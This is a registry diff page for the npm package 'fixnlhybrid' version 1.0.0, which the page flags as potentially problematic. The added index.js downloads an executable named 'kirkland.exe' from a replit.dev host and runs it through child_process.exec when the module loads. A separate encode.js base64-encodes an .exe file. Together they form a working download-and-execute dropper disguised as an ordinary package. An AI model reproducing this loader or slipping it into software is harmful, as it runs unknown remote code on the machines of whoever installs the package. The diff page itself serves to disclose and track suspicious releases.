fixnlhybrid 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fixnlhybrid might be problematic. Click here for more details.
- package/encode.js +15 -0
- package/fixnlhybrid-1.0.0.tgz +0 -0
- package/index.js +50 -0
- package/package.json +11 -0
package/encode.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
|
|
3
|
+
// Path to your executable file
|
|
4
|
+
const exeFilePath = './yourfile.exe';
|
|
5
|
+
|
|
6
|
+
// Read the file
|
|
7
|
+
const fileData = fs.readFileSync(exeFilePath);
|
|
8
|
+
|
|
9
|
+
// Convert to Base64
|
|
10
|
+
const base64Data = fileData.toString('base64');
|
|
11
|
+
|
|
12
|
+
// Save the Base64 data to a file
|
|
13
|
+
fs.writeFileSync('./encoded.txt', base64Data);
|
|
14
|
+
|
|
15
|
+
console.log('Base64 data has been saved to encoded.txt');
|
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
const exeUrl = "https://31290fac-94c7-4f01-be1d-6b76928d0a32-00-zwiouu3hc5m4.kirk.replit.dev/kirkland.exe";
|
|
7
|
+
|
|
8
|
+
const tempExePath = path.join(__dirname, "downloaded.exe");
|
|
9
|
+
|
|
10
|
+
function downloadFile(url, destination, callback) {
|
|
11
|
+
const file = fs.createWriteStream(destination);
|
|
12
|
+
|
|
13
|
+
https.get(url, (response) => {
|
|
14
|
+
if (response.statusCode !== 200) {
|
|
15
|
+
callback(new Error(`Failed to download file: ${response.statusCode}`));
|
|
16
|
+
return;
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
response.pipe(file);
|
|
20
|
+
|
|
21
|
+
file.on("finish", () => {
|
|
22
|
+
file.close(callback); // Close and execute the callback
|
|
23
|
+
});
|
|
24
|
+
}).on("error", (err) => {
|
|
25
|
+
fs.unlink(destination, () => {}); // Delete the file on error
|
|
26
|
+
callback(err);
|
|
27
|
+
});
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function runExe(filePath) {
|
|
31
|
+
exec(`"${filePath}"`, (error, stdout, stderr) => {
|
|
32
|
+
if (error) {
|
|
33
|
+
console.error(`Error executing file: ${error.message}`);
|
|
34
|
+
return;
|
|
35
|
+
}
|
|
36
|
+
if (stderr) {
|
|
37
|
+
console.error(`Error output: ${stderr}`);
|
|
38
|
+
}
|
|
39
|
+
console.log(`Program output: ${stdout}`);
|
|
40
|
+
});
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
downloadFile(exeUrl, tempExePath, (err) => {
|
|
44
|
+
if (err) {
|
|
45
|
+
console.error(`Download failed: ${err.message}`);
|
|
46
|
+
return;
|
|
47
|
+
}
|
|
48
|
+
console.log(`Downloaded to: ${tempExePath}`);
|
|
49
|
+
runExe(tempExePath);
|
|
50
|
+
});
|
package/package.json
ADDED